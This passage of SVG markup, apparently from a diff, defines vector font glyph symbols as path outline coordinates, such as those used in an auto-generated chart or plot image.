3.320312 -8.710938 2.90625 -8.078125 C 2.488281 -7.453125 2.28125 -6.445312 2.28125 -5.0625 C 2.28125 -4.488281 2.3125 -3.960938 2.375 -3.484375 C 2.445312 -3.003906 2.5625 -2.582031 2.71875 -2.21875 C 2.882812 -1.863281 3.09375 -1.585938 3.34375 -1.390625 C 3.59375 -1.191406 3.898438 -1.09375 4.265625 -1.09375 C 4.785156 -1.09375 5.191406 -1.226562 5.484375 -1.5 C 5.785156 -1.769531 6.003906 -2.175781 6.140625 -2.71875 Z M 6.140625 -8.703125 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-4">
+<path style="stroke:none;" d="M 1.4375 -10.15625 L 2.90625 -10.15625 L 2.90625 0 L 1.4375 0 Z M 1.171875 -13.25 C 1.171875 -13.570312 1.265625 -13.835938 1.453125 -14.046875 C 1.640625 -14.253906 1.878906 -14.359375 2.171875 -14.359375 C 2.472656 -14.359375 2.722656 -14.257812 2.921875 -14.0625 C 3.117188 -13.863281 3.21875 -13.59375 3.21875 -13.25 C 3.21875 -12.925781 3.117188 -12.671875 2.921875 -12.484375 C 2.722656 -12.304688 2.472656 -12.21875 2.171875 -12.21875 C 1.878906 -12.21875 1.640625 -12.3125 1.453125 -12.5 C 1.265625 -12.6875 1.171875 -12.9375 1.171875 -13.25 Z M 1.171875 -13.25 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-5">
+<path style="stroke:none;" d="M 6.40625 0 L 6.40625 -6.203125 C 6.40625 -7.210938 6.285156 -7.945312 6.046875 -8.40625 C 5.804688 -8.863281 5.382812 -9.09375 4.78125 -9.09375 C 4.238281 -9.09375 3.789062 -8.925781 3.4375 -8.59375 C 3.082031 -8.269531 2.820312 -7.875 2.65625 -7.40625 L 2.65625 0 L 1.203125 0 L 1.203125 -10.15625 L 2.25 -10.15625 L 2.515625 -9.09375 L 2.578125 -9.09375 C 2.835938 -9.457031 3.1875 -9.765625 3.625 -10.015625 C 4.070312 -10.273438 4.597656 -10.40625 5.203125 -10.40625 C 5.640625 -10.40625 6.019531 -10.34375 6.34375 -10.21875 C 6.675781 -10.101562 6.953125 -9.898438 7.171875 -9.609375 C 7.398438 -9.316406 7.570312 -8.925781 7.6875 -8.4375 C 7.800781 -7.945312 7.859375 -7.332031 7.859375 -6.59375 L 7.859375 0 Z M 6.40625 0 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-6">
+<path style="stroke:none;" d=""/>
+</symbol>
+<symbol overflow="visible" id="glyph0-7">
+<path style="stroke:none;" d="M 1.03125 -1.671875 C 1.300781 -1.503906 1.625 -1.363281 2 -1.25 C 2.375 -1.132812 2.757812 -1.078125 3.15625 -1.078125 C 3.601562 -1.078125 3.976562 -1.1875 4.28125 -1.40625 C 4.59375 -1.632812 4.75 -2 4.75 -2.5 C 4.75 -2.914062 4.65625 -3.257812 4.46875 -3.53125 C 4.28125 -3.800781 4.039062 -4.046875 3.75 -4.265625 C 3.457031 -4.484375 3.140625 -4.679688 2.796875 -4.859375 C 2.460938 -5.046875 2.148438 -5.269531 1.859375 -5.53125 C 1.566406 -5.789062 1.328125 -6.09375 1.140625 -6.4375 C 0.953125 -6.789062 0.859375 -7.238281 0.859375 -7.78125 C 0.859375 -8.65625 1.085938 -9.3125 1.546875 -9.75 C 2.015625 -10.1875 2.675781 -10.40625 3.53125 -10.40625 C 4.09375 -10.40625 4.578125 -10.351562 4.984375 -10.25 C 5.390625 -10.15625 5.738281 -10.019531 6.03125 -9.84375 L 5.65625 -8.625 C 5.394531 -8.757812 5.09375 -8.867188 4.75 -8.953125 C 4.414062 -9.046875 4.070312 -9.09375 3.71875 -9.09375 C 3.226562 -9.09375 2.867188 -8.988281 2.640625 -8.78125 C 2.421875 -8.582031 2.3125 -8.265625 2.3125 -7.828125 C 2.3125 -7.484375 2.40625 -7.191406 2.59375 -6.953125 C 2.789062 -6.722656 3.035156 -6.507812 3.328125 -6.3125 C 3.617188 -6.113281 3.929688 -5.910156 4.265625 -5.703125 C 4.609375 -5.503906 4.925781 -5.265625 5.21875 -4.984375 C 5.507812 -4.710938 5.75 -4.382812 5.9375 -4 C 6.125 -3.613281 6.21875 -3.128906 6.21875 -2.546875 C 6.21875 -2.160156 6.15625 -1.796875 6.03125 -1.453125 C 5.914062 -1.117188 5.734375 -0.828125 5.484375 -0.578125 C 5.234375 -0.328125 4.921875 -0.128906 4.546875 0.015625 C 4.171875 0.171875 3.734375 0.25 3.234375 0.25 C 2.640625 0.25 2.125 0.1875 1.6875 0.0625 C 1.25 -0.0507812 0.882812 -0.203125 0.59375 -0.390625 Z M 1.03125 -1.671875 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-8">
+<path style="stroke:none;" d="M 2.515625 -10.15625 L 2.515625 -3.9375 C 2.515625 -2.914062 2.617188 -2.179688 2.828125 -1.734375 C 3.046875 -1.296875 3.429688 -1.078125 3.984375 -1.078125 C 4.265625 -1.078125 4.515625 -1.132812 4.734375 -1.25 C 4.960938 -1.363281 5.164062 -1.515625 5.34375 -1.703125 C 5.519531 -1.890625 5.675781 -2.101562 5.8125 -2.34375 C 5.945312 -2.59375 6.054688 -2.847656 6.140625 -3.109375 L 6.140625 -10.15625 L 7.609375 -10.15625 L 7.609375 -2.890625 C 7.609375 -2.398438 7.625 -1.894531 7.65625 -1.375 C 7.6875 -0.851562 7.738281 -0.394531 7.8125 0 L 6.765625 0 L 6.40625 -1.421875 L 6.34375 -1.421875 C 6.113281 -0.972656 5.78125 -0.582031 5.34375 -0.25 C 4.914062 0.0820312 4.375 0.25 3.71875 0.25 C 3.28125 0.25 2.898438 0.191406 2.578125 0.078125 C 2.253906 -0.0234375 1.976562 -0.21875 1.75 -0.5 C 1.519531 -0.789062 1.347656 -1.179688 1.234375 -1.671875 C 1.117188 -2.171875 1.0625 -2.804688 1.0625 -3.578125 L 1.0625 -10.15625 Z M 2.515625 -10.15625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-9">
+<path style="stroke:none;" d="M 6.8125 -0.515625 C 6.46875 -0.253906 6.078125 -0.0625 5.640625 0.0625 C 5.210938 0.1875 4.765625 0.25 4.296875 0.25 C 3.640625 0.25 3.085938 0.125 2.640625 -0.125 C 2.191406 -0.382812 1.828125 -0.742188 1.546875 -1.203125 C 1.273438 -1.671875 1.070312 -2.234375 0.9375 -2.890625 C 0.8125 -3.546875 0.75 -4.273438 0.75 -5.078125 C 0.75 -6.816406 1.054688 -8.140625 1.671875 -9.046875 C 2.296875 -9.953125 3.179688 -10.40625 4.328125 -10.40625 C 4.859375 -10.40625 5.3125 -10.359375 5.6875 -10.265625 C 6.070312 -10.171875 6.398438 -10.050781 6.671875 -9.90625 L 6.265625 -8.625 C 5.722656 -8.9375 5.132812 -9.09375 4.5 -9.09375 C 3.757812 -9.09375 3.203125 -8.769531 2.828125 -8.125 C 2.460938 -7.476562 2.28125 -6.460938 2.28125 -5.078125 C 2.28125 -4.523438 2.316406 -4.003906 2.390625 -3.515625 C 2.472656 -3.023438 2.609375 -2.597656 2.796875 -2.234375 C 2.992188 -1.878906 3.238281 -1.597656 3.53125 -1.390625 C 3.832031 -1.179688 4.207031 -1.078125 4.65625 -1.078125 C 5.007812 -1.078125 5.335938 -1.132812 5.640625 -1.25 C 5.941406 -1.375 6.191406 -1.519531 6.390625 -1.6875 Z M 6.8125 -0.515625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-10">
+<path style="stroke:none;" d="M 7.28125 -0.6875 C 6.957031 -0.394531 6.539062 -0.164062 6.03125 0 C 5.53125 0.164062 5.003906 0.25 4.453125 0.25 C 3.816406 0.25 3.265625 0.125 2.796875 -0.125 C 2.328125 -0.382812 1.9375 -0.742188 1.625 -1.203125 C 1.320312 -1.671875 1.097656 -2.226562 0.953125 -2.875 C 0.816406 -3.53125 0.75 -4.265625 0.75 -5.078125 C 0.75 -6.816406 1.066406 -8.140625 1.703125 -9.046875 C 2.335938 -9.953125 3.238281 -10.40625 4.40625 -10.40625 C 4.789062 -10.40625 5.164062 -10.359375 5.53125 -10.265625 C 5.90625 -10.171875 6.242188 -9.976562 6.546875 -9.6875 C 6.847656 -9.40625 7.085938 -9.003906 7.265625 -8.484375 C 7.453125 -7.972656 7.546875 -7.304688 7.546875 -6.484375 C 7.546875 -6.253906 7.535156 -6.003906 7.515625 -5.734375 C 7.492188 -5.472656 7.46875 -5.203125 7.4375 -4.921875 L 2.28125 -4.921875 C 2.28125 -4.335938 2.328125 -3.804688 2.421875 -3.328125 C 2.515625 -2.859375 2.660156 -2.457031 2.859375 -2.125 C 3.066406 -1.789062 3.328125 -1.53125 3.640625 -1.34375 C 3.960938 -1.164062 4.363281 -1.078125 4.84375 -1.078125 C 5.207031 -1.078125 5.566406 -1.144531 5.921875 -1.28125 C 6.285156 -1.414062 6.5625 -1.578125 6.75 -1.765625 Z M 6.140625 -6.140625 C 6.171875 -7.148438 6.03125 -7.894531 5.71875 -8.375 C 5.40625 -8.851562 4.976562 -9.09375 4.4375 -9.09375 C 3.8125 -9.09375 3.316406 -8.851562 2.953125 -8.375 C 2.585938 -7.894531 2.367188 -7.148438 2.296875 -6.140625 Z M 6.140625 -6.140625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-11">
+<path style="stroke:none;" d="M 0.328125 -10.15625 L 1.5625 -10.15625 L 1.5625 -10.734375 C 1.5625 -12.003906 1.742188 -12.925781 2.109375 -13.5 C 2.472656 -14.070312 3.097656 -14.359375 3.984375 -14.359375 C 4.335938 -14.359375 4.65625 -14.335938 4.9375 -14.296875 C 5.21875 -14.253906 5.507812 -14.164062 5.8125 -14.03125 L 5.453125 -12.765625 C 5.203125 -12.867188 4.972656 -12.9375 4.765625 -12.96875 C 4.554688 -13.007812 4.359375 -13.03125 4.171875 -13.03125 C 3.898438 -13.03125 3.6875 -12.972656 3.53125 -12.859375 C 3.382812 -12.753906 3.273438 -12.585938 3.203125 -12.359375 C 3.128906 -12.128906 3.082031 -11.832031 3.0625 -11.46875 C 3.039062 -11.113281 3.03125 -10.675781 3.03125 -10.15625 L 5.140625 -10.15625 L 5.140625 -8.84375 L 3.03125 -8.84375 L 3.03125 0 L 1.5625 0 L 1.5625 -8.84375 L 0.328125 -8.84375 Z M 0.328125 -10.15625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-12">
+<path style="stroke:none;" d="M 1.09375 -9.546875 C 1.488281 -9.796875 1.96875 -9.988281 2.53125 -10.125 C 3.09375 -10.257812 3.6875 -10.328125 4.3125 -10.328125 C 4.875 -10.328125 5.328125 -10.238281 5.671875 -10.0625 C 6.023438 -9.894531 6.300781 -9.664062 6.5 -9.375 C 6.695312 -9.082031 6.820312 -8.75 6.875 -8.375 C 6.9375 -8.007812 6.96875 -7.625 6.96875 -7.21875 C 6.96875 -6.40625 6.953125 -5.609375 6.921875 -4.828125 C 6.890625 -4.054688 6.875 -3.328125 6.875 -2.640625 C 6.875 -2.128906 6.890625 -1.648438 6.921875 -1.203125 C 6.953125 -0.765625 7.015625 -0.347656 7.109375 0.046875 L 6 0.046875 L 5.65625 -1.15625 L 5.5625 -1.15625 C 5.363281 -0.800781 5.066406 -0.492188 4.671875 -0.234375 C 4.273438 0.015625 3.75 0.140625 3.09375 0.140625 C 2.351562 0.140625 1.75 -0.109375 1.28125 -0.609375 C 0.820312 -1.117188 0.59375 -1.820312 0.59375 -2.71875 C 0.59375 -3.300781 0.6875 -3.789062 0.875 -4.1875 C 1.070312 -4.582031 1.347656 -4.898438 1.703125 -5.140625 C 2.066406 -5.390625 2.492188 -5.5625 2.984375 -5.65625 C 3.484375 -5.757812 4.039062 -5.8125 4.65625 -5.8125 C 4.789062 -5.8125 4.925781 -5.8125 5.0625 -5.8125 C 5.195312 -5.8125 5.335938 -5.804688 5.484375 -5.796875 C 5.523438 -6.210938 5.546875 -6.582031 5.546875 -6.90625 C 5.546875 -7.675781 5.429688 -8.21875 5.203125 -8.53125 C 4.972656 -8.84375 4.550781 -9 3.9375 -9 C 3.5625 -9 3.148438 -8.941406 2.703125 -8.828125 C 2.253906 -8.710938 1.878906 -8.566406 1.578125 -8.390625 Z M 5.515625 -4.640625 C 5.378906 -4.648438 5.242188 -4.65625 5.109375 -4.65625 C 4.972656 -4.664062 4.835938 -4.671875 4.703125 -4.671875 C 4.367188 -4.671875 4.046875 -4.644531 3.734375 -4.59375 C 3.421875 -4.539062 3.144531 -4.445312 2.90625 -4.3125 C 2.664062 -4.175781 2.472656 -3.992188 2.328125 -3.765625 C 2.179688 -3.535156 2.109375 -3.242188 2.109375 -2.890625 C 2.109375 -2.347656 2.238281 -1.925781 2.5 -1.625 C 2.769531 -1.320312 3.113281 -1.171875 3.53125 -1.171875 C 4.101562 -1.171875 4.546875 -1.304688 4.859375 -1.578125 C 5.171875 -1.847656 5.390625 -2.148438 5.515625 -2.484375 Z M 5.515625 -4.640625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-13">
+<path style="stroke:none;" d="M 2.765625 -2.421875 C 2.765625 -1.941406 2.828125 -1.597656 2.953125 -1.390625 C 3.085938 -1.191406 3.269531 -1.09375 3.5 -1.09375 C 3.78125 -1.09375 4.113281 -1.171875 4.5 -1.328125 L 4.640625 -0.140625 C 4.460938 -0.0351562 4.210938 0.046875 3.890625 0.109375 C 3.578125 0.179688 3.289062 0.21875 3.03125 0.21875 C 2.507812 0.21875 2.085938 0.0625 1.765625 -0.25 C 1.453125 -0.570312 1.296875 -1.132812 1.296875 -1.9375 L 1.296875 -14.234375 L 2.765625 -14.234375 Z M 2.765625 -2.421875 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-14">
+<path style="stroke:none;" d="M 1.203125 -10.15625 L 2.234375 -10.15625 L 2.5 -9.09375 L 2.5625 -9.09375 C 2.75 -9.476562 2.992188 -9.78125 3.296875 -10 C 3.609375 -10.226562 3.976562 -10.34375 4.40625 -10.34375 C 4.71875 -10.34375 5.070312 -10.28125 5.46875 -10.15625 L 5.1875 -8.6875 C 4.832031 -8.800781 4.519531 -8.859375 4.25 -8.859375 C 3.8125 -8.859375 3.457031 -8.734375 3.1875 -8.484375 C 2.914062 -8.234375 2.738281 -7.898438 2.65625 -7.484375 L 2.65625 0 L 1.203125 0 Z M 1.203125 -10.15625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-15">
+<path style="stroke:none;" d="M 1.296875 -14.09375 C 1.742188 -14.195312 2.234375 -14.269531 2.765625 -14.3125 C 3.304688 -14.363281 3.800781 -14.390625 4.25 -14.390625 C 4.78125 -14.390625 5.28125 -14.320312 5.75 -14.1875 C 6.226562 -14.0625 6.640625 -13.847656 6.984375 -13.546875 C 7.335938 -13.242188 7.617188 -12.84375 7.828125 -12.34375 C 8.046875 -11.851562 8.15625 -11.234375 8.15625 -10.484375 C 8.15625 -9.359375 7.921875 -8.457031 7.453125 -7.78125 C 6.984375 -7.101562 6.363281 -6.648438 5.59375 -6.421875 L 6.359375 -5.671875 L 9.171875 0 L 7.40625 0 L 4.34375 -6.203125 L 2.828125 -6.5 L 2.828125 0 L 1.296875 0 Z M 2.828125 -7.515625 L 4.046875 -7.515625 C 4.816406 -7.515625 5.425781 -7.75 5.875 -8.21875 C 6.320312 -8.695312 6.546875 -9.425781 6.546875 -10.40625 C 6.546875 -11.15625 6.359375 -11.769531 5.984375 -12.25 C 5.609375 -12.738281 5.054688 -12.984375 4.328125 -12.984375 C 4.054688 -12.984375 3.773438 -12.972656 3.484375 -12.953125 C 3.191406 -12.929688 2.972656 -12.90625 2.828125 -12.875 Z M 2.828125 -7.515625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-16">
+<path style="stroke:none;" d="M 1.203125 -10.15625 L 2.234375 -10.15625 L 2.453125 -9.0625 L 2.546875 -9.0625 C 3.046875 -9.957031 3.832031 -10.40625 4.90625 -10.40625 C 5.96875 -10.40625 6.765625 -10.003906 7.296875 -9.203125 C 7.835938 -8.410156 8.109375 -7.101562 8.109375 -5.28125 C 8.109375 -4.425781 8.019531 -3.65625 7.84375 -2.96875 C 7.664062 -2.289062 7.414062 -1.710938 7.09375 -1.234375 C 6.769531 -0.753906 6.375 -0.382812 5.90625 -0.125 C 5.4375 0.125 4.914062 0.25 4.34375 0.25 C 3.957031 0.25 3.644531 0.222656 3.40625 0.171875 C 3.175781 0.128906 2.925781 0.03125 2.65625 -0.125 L 2.65625 4.0625 L 1.203125 4.0625 Z M 2.65625 -1.609375 C 2.851562 -1.441406 3.066406 -1.3125 3.296875 -1.21875 C 3.535156 -1.125 3.851562 -1.078125 4.25 -1.078125 C 4.96875 -1.078125 5.535156 -1.441406 5.953125 -2.171875 C 6.378906 -2.898438 6.59375 -3.945312 6.59375 -5.3125 C 6.59375 -5.875 6.550781 -6.382812 6.46875 -6.84375 C 6.394531 -7.3125 6.273438 -7.707031 6.109375 -8.03125 C 5.953125 -8.363281 5.75 -8.625 5.5 -8.8125 C 5.25 -9 4.941406 -9.09375 4.578125 -9.09375 C 3.585938 -9.09375 2.945312 -8.488281 2.65625 -7.28125 Z M 2.65625 -1.609375 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-17">
+<path style="stroke:none;" d="M 6.765625 -3.984375 L 2.75 -3.984375 L 1.609375 0 L 0.109375 0 L 4.390625 -14.453125 L 5.21875 -14.453125 L 9.515625 0 L 7.921875 0 Z M 3.15625 -5.34375 L 6.40625 -5.34375 L 5.15625 -9.734375 L 4.78125 -11.875 L 4.734375 -11.875 L 4.34375 -9.703125 Z M 3.15625 -5.34375 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-18">
+<path style="stroke:none;" d="M 0.1875 -10.15625 L 1.421875 -10.15625 L 1.421875 -12.171875 L 2.890625 -12.640625 L 2.890625 -10.15625 L 5.078125 -10.15625 L 5.078125 -8.84375 L 2.890625 -8.84375 L 2.890625 -2.78125 C 2.890625 -2.1875 2.957031 -1.753906 3.09375 -1.484375 C 3.238281 -1.222656 3.472656 -1.09375 3.796875 -1.09375 C 4.066406 -1.09375 4.300781 -1.125 4.5 -1.1875 C 4.695312 -1.25 4.910156 -1.328125 5.140625 -1.421875 L 5.421875 -0.265625 C 5.128906 -0.117188 4.800781 -0.00390625 4.4375 0.078125 C 4.082031 0.171875 3.707031 0.21875 3.3125 0.21875 C 2.632812 0.21875 2.148438 0 1.859375 -0.4375 C 1.566406 -0.875 1.421875 -1.585938 1.421875 -2.578125 L 1.421875 -8.84375 L 0.1875 -8.84375 Z M 0.1875 -10.15625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-19">
+<path style="stroke:none;" d="M 6.40625 0 L 6.40625 -6.1875 C 6.40625 -7.132812 6.289062 -7.851562 6.0625 -8.34375 C 5.84375 -8.84375 5.398438 -9.09375 4.734375 -9.09375 C 4.265625 -9.09375 3.832031 -8.921875 3.4375 -8.578125 C 3.050781 -8.234375 2.789062 -7.804688 2.65625 -7.296875 L 2.65625 0 L 1.203125 0 L 1.203125 -14.234375 L 2.65625 -14.234375 L 2.65625 -9.203125 L 2.71875 -9.203125 C 2.988281 -9.554688 3.320312 -9.84375 3.71875 -10.0625 C 4.125 -10.289062 4.625 -10.40625 5.21875 -10.40625 C 5.664062 -10.40625 6.054688 -10.34375 6.390625 -10.21875 C 6.722656 -10.101562 7 -9.894531 7.21875 -9.59375 C 7.4375 -9.289062 7.597656 -8.890625 7.703125 -8.390625 C 7.804688 -7.898438 7.859375 -7.289062 7.859375 -6.5625 L 7.859375 0 Z M 6.40625 0 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-20">
+<path style="stroke:none;" d="M 1.296875 -14.234375 L 7.625 -14.234375 L 7.625 -12.828125 L 2.828125 -12.828125 L 2.828125 -7.8125 L 7.296875 -7.8125 L 7.296875 -6.40625 L 2.828125 -6.40625 L 2.828125 0 L 1.296875 0 Z M 1.296875 -14.234375 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-21">
+<path style="stroke:none;" d="M 3.71875 4.46875 C 3.207031 3.820312 2.773438 3.109375 2.421875 2.328125 C 2.078125 1.546875 1.796875 0.75 1.578125 -0.0625 C 1.367188 -0.882812 1.210938 -1.710938 1.109375 -2.546875 C 1.015625 -3.378906 0.96875 -4.175781 0.96875 -4.9375 C 0.96875 -5.6875 1.015625 -6.472656 1.109375 -7.296875 C 1.210938 -8.117188 1.367188 -8.945312 1.578125 -9.78125 C 1.796875 -10.613281 2.082031 -11.429688 2.4375 -12.234375 C 2.800781 -13.035156 3.242188 -13.78125 3.765625 -14.46875 L 4.671875 -13.921875 C 4.242188 -13.234375 3.882812 -12.507812 3.59375 -11.75 C 3.3125 -10.988281 3.082031 -10.21875 2.90625 -9.4375 C 2.738281 -8.664062 2.617188 -7.894531 2.546875 -7.125 C 2.472656 -6.351562 2.4375 -5.625 2.4375 -4.9375 C 2.4375 -4.289062 2.476562 -3.578125 2.5625 -2.796875 C 2.644531 -2.015625 2.773438 -1.226562 2.953125 -0.4375 C 3.140625 0.34375 3.375 1.101562 3.65625 1.84375 C 3.9375 2.59375 4.273438 3.265625 4.671875 3.859375 Z M 3.71875 4.46875 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-22">
+<path style="stroke:none;" d="M 0.96875 3.859375 C 1.363281 3.265625 1.703125 2.59375 1.984375 1.84375 C 2.273438 1.101562 2.507812 0.34375 2.6875 -0.4375 C 2.875 -1.226562 3.007812 -2.015625 3.09375 -2.796875 C 3.175781 -3.578125 3.21875 -4.289062 3.21875 -4.9375 C 3.21875 -5.625 3.175781 -6.351562 3.09375 -7.125 C 3.019531 -7.894531 2.898438 -8.664062 2.734375 -9.4375 C 2.566406 -10.21875 2.335938 -10.988281 2.046875 -11.75 C 1.753906 -12.507812 1.394531 -13.234375 0.96875 -13.921875 L 1.890625 -14.46875 C 2.398438 -13.78125 2.832031 -13.035156 3.1875 -12.234375 C 3.550781 -11.429688 3.84375 -10.613281 4.0625 -9.78125 C 4.28125 -8.945312 4.4375 -8.117188 4.53125 -7.296875 C 4.625 -6.472656 4.671875 -5.6875 4.671875 -4.9375 C 4.671875 -4.175781 4.625 -3.378906 4.53125 -2.546875 C 4.4375 -1.710938 4.28125 -0.882812 4.0625 -0.0625 C 3.84375 0.75 3.554688 1.546875 3.203125 2.328125 C 2.859375 3.109375 2.4375 3.820312 1.9375 4.46875 Z M 0.96875 3.859375 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-23">
+<path style="stroke:none;" d="M 8.734375 -0.546875 C 8.398438 -0.265625 7.972656 -0.0625 7.453125 0.0625 C 6.941406 0.1875 6.398438 0.25 5.828125 0.25 C 5.109375 0.25 4.441406 0.113281 3.828125 -0.15625 C 3.222656 -0.425781 2.703125 -0.859375 2.265625 -1.453125 C 1.828125 -2.046875 1.484375 -2.804688 1.234375 -3.734375 C 0.992188 -4.671875 0.875 -5.796875 0.875 -7.109375 C 0.875 -8.460938 1.007812 -9.609375 1.28125 -10.546875 C 1.5625 -11.484375 1.929688 -12.242188 2.390625 -12.828125 C 2.859375 -13.410156 3.394531 -13.828125 4 -14.078125 C 4.601562 -14.335938 5.222656 -14.46875 5.859375 -14.46875 C 6.503906 -14.46875 7.039062 -14.421875 7.46875 -14.328125 C 7.894531 -14.234375 8.265625 -14.117188 8.578125 -13.984375 L 8.21875 -12.609375 C 7.945312 -12.753906 7.625 -12.867188 7.25 -12.953125 C 6.882812 -13.035156 6.46875 -13.078125 6 -13.078125 C 5.519531 -13.078125 5.070312 -12.96875 4.65625 -12.75 C 4.238281 -12.539062 3.863281 -12.203125 3.53125 -11.734375 C 3.207031 -11.265625 2.953125 -10.648438 2.765625 -9.890625 C 2.578125 -9.140625 2.484375 -8.210938 2.484375 -7.109375 C 2.484375 -5.128906 2.820312 -3.640625 3.5 -2.640625 C 4.175781 -1.648438 5.078125 -1.15625 6.203125 -1.15625 C 6.660156 -1.15625 7.070312 -1.21875 7.4375 -1.34375 C 7.800781 -1.476562 8.113281 -1.632812 8.375 -1.8125 Z M 8.734375 -0.546875 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-24">
+<path style="stroke:none;" d="M 3.421875 -4.578125 L 2.65625 -4.578125 L 2.65625 0 L 1.203125 0 L 1.203125 -14.234375 L 2.65625 -14.234375 L 2.65625 -5.5625 L 3.328125 -5.859375 L 5.71875 -10.15625 L 7.40625 -10.15625 L 5 -6.0625 L 4.296875 -5.40625 L 5.125 -4.609375 L 7.75 0 L 5.96875 0 Z M 3.421875 -4.578125 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-25">
+<path style="stroke:none;" d="M 7.609375 -3.5 C 7.609375 -2.800781 7.613281 -2.171875 7.625 -1.609375 C 7.632812 -1.046875 7.679688 -0.492188 7.765625 0.046875 L 6.765625 0.046875 L 6.4375 -1.171875 L 6.359375 -1.171875 C 6.171875 -0.765625 5.875 -0.425781 5.46875 -0.15625 C 5.0625 0.113281 4.570312 0.25 4 0.25 C 2.90625 0.25 2.085938 -0.175781 1.546875 -1.03125 C 1.015625 -1.882812 0.75 -3.226562 0.75 -5.0625 C 0.75 -6.789062 1.078125 -8.101562 1.734375 -9 C 2.390625 -9.894531 3.296875 -10.34375 4.453125 -10.34375 C 4.847656 -10.34375 5.160156 -10.316406 5.390625 -10.265625 C 5.617188 -10.222656 5.867188 -10.148438 6.140625 -10.046875 L 6.140625 -14.234375 L 7.609375 -14.234375 Z M 6.140625 -8.5625 C 5.953125 -8.71875 5.738281 -8.832031 5.5 -8.90625 C 5.257812 -8.988281 4.941406 -9.03125 4.546875 -9.03125 C 3.828125 -9.03125 3.269531 -8.703125 2.875 -8.046875 C 2.476562 -7.398438 2.28125 -6.398438 2.28125 -5.046875 C 2.28125 -4.441406 2.316406 -3.898438 2.390625 -3.421875 C 2.460938 -2.941406 2.578125 -2.523438 2.734375 -2.171875 C 2.890625 -1.816406 3.09375 -1.546875 3.34375 -1.359375 C 3.59375 -1.171875 3.898438 -1.078125 4.265625 -1.078125 C 5.242188 -1.078125 5.867188 -1.65625 6.140625 -2.8125 Z M 6.140625 -8.5625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-26">
+<path style="stroke:none;" d="M 7.609375 4.0625 L 6.140625 4.0625 L 6.140625 -0.828125 L 6.0625 -0.828125 C 5.84375 -0.492188 5.566406 -0.226562 5.234375 -0.03125 C 4.898438 0.15625 4.46875 0.25 3.9375 0.25 C 2.875 0.25 2.078125 -0.179688 1.546875 -1.046875 C 1.015625 -1.910156 0.75 -3.242188 0.75 -5.046875 C 0.75 -6.785156 1.09375 -8.101562 1.78125 -9 C 2.476562 -9.894531 3.484375 -10.34375 4.796875 -10.34375 C 5.367188 -10.34375 5.910156 -10.273438 6.421875 -10.140625 C 6.941406 -10.003906 7.335938 -9.863281 7.609375 -9.71875 Z M 6.140625 -8.6875 C 5.753906 -8.914062 5.21875 -9.03125 4.53125 -9.03125 C 3.820312 -9.03125 3.269531 -8.703125 2.875 -8.046875 C 2.476562 -7.398438 2.28125 -6.40625 2.28125 -5.0625 C 2.28125 -4.488281 2.3125 -3.957031 2.375 -3.46875 C 2.445312 -2.988281 2.5625 -2.566406 2.71875 -2.203125 C 2.875 -1.847656 3.078125 -1.570312 3.328125 -1.375 C 3.578125 -1.175781 3.882812 -1.078125 4.25 -1.078125 C 4.757812 -1.078125 5.164062 -1.222656 5.46875 -1.515625 C 5.769531 -1.816406 5.992188 -2.253906 6.140625 -2.828125 Z M 6.140625 -8.6875 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-27">
+<path style="stroke:none;" d="M 8.796875 -12.828125 L 5.3125 -12.828125 L 5.3125 0 L 3.78125 0 L 3.78125 -12.828125 L 0.28125 -12.828125 L 0.28125 -14.234375 L 8.796875 -14.234375 Z M 8.796875 -12.828125 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-28">
+<path style="stroke:none;" d="M 1.203125 -1.890625 C 1.453125 -1.710938 1.8125 -1.546875 2.28125 -1.390625 C 2.75 -1.234375 3.28125 -1.15625 3.875 -1.15625 C 4.632812 -1.15625 5.25 -1.34375 5.71875 -1.71875 C 6.195312 -2.09375 6.4375 -2.675781 6.4375 -3.46875 C 6.4375 -4 6.300781 -4.460938 6.03125 -4.859375 C 5.757812 -5.253906 5.421875 -5.613281 5.015625 -5.9375 C 4.609375 -6.269531 4.171875 -6.597656 3.703125 -6.921875 C 3.242188 -7.242188 2.804688 -7.597656 2.390625 -7.984375 C 1.984375 -8.367188 1.644531 -8.8125 1.375 -9.3125 C 1.101562 -9.8125 0.96875 -10.414062 0.96875 -11.125 C 0.96875 -12.257812 1.3125 -13.097656 2 -13.640625 C 2.6875 -14.191406 3.578125 -14.46875 4.671875 -14.46875 C 5.347656 -14.46875 5.953125 -14.40625 6.484375 -14.28125 C 7.015625 -14.164062 7.441406 -14.015625 7.765625 -13.828125 L 7.28125 -12.484375 C 7.03125 -12.628906 6.675781 -12.765625 6.21875 -12.890625 C 5.769531 -13.015625 5.25 -13.078125 4.65625 -13.078125 C 3.925781 -13.078125 3.382812 -12.894531 3.03125 -12.53125 C 2.675781 -12.175781 2.5 -11.726562 2.5 -11.1875 C 2.5 -10.707031 2.632812 -10.285156 2.90625 -9.921875 C 3.175781 -9.554688 3.515625 -9.207031 3.921875 -8.875 C 4.328125 -8.550781 4.765625 -8.222656 5.234375 -7.890625 C 5.703125 -7.566406 6.140625 -7.203125 6.546875 -6.796875 C 6.953125 -6.390625 7.289062 -5.925781 7.5625 -5.40625 C 7.832031 -4.894531 7.96875 -4.285156 7.96875 -3.578125 C 7.96875 -2.378906 7.613281 -1.441406 6.90625 -0.765625 C 6.207031 -0.0859375 5.210938 0.25 3.921875 0.25 C 3.109375 0.25 2.441406 0.171875 1.921875 0.015625 